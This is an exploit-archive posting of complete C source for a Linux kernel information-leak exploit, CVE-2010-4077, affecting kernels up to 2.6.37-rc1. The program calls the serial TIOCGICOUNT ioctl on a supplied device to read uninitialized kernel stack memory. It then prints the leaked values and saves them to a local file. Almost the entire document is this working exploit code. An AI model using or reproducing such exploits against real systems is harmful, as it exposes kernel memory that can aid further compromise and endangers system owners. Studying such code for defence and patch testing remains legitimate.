ExploitFixes
Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT Leak Exploit - [CVE: 2010-4077] 2011-03-14 17:15:09

/* Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak
* ================================================
* Information leak exploit for CVE-2010-4077 which
* leaks kernel stack space back to userland due to
* uninitialized struct member "reserved" in struct
* serial_icounter_struct copied to userland. uses
* ioctl to trigger memory leak, dumps to file and
* displays to command line.
*
* -- prdelka
*
*/
#include <termios.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/serial.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char* argv[]) {
int fd, ret = 0, i;
struct serial_icounter_struct buffer;
printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n");
if(argc < 2){
printf("[ You need to supply a device name e.g. /dev/ttyS0\n");
exit(-1);
};
memset(&buffer,0,sizeof(buffer));
if((fd = open(argv[1], O_RDONLY)) == -1){
printf("[ Couldn't open %s\n",argv[1]);
exit(-1);
}
if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){
printf("[ Problem with ioctl() request\n");
exit(-1);
}
close(fd);
for(i=0;i<=9;i++){
printf("[ int leak[%d]: %x\n",i,buffer.reserved[i]);
};
if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){
printf("[ Can't open file to write memory out\n");
exit(-1);
}
for(i=0;i<=9;i++){
ret += write(fd,&buffer.reserved[i],sizeof(int));
}
close(fd);
printf("[ Written %d leaked bytes to ./leak\n",ret);
exit(0);
}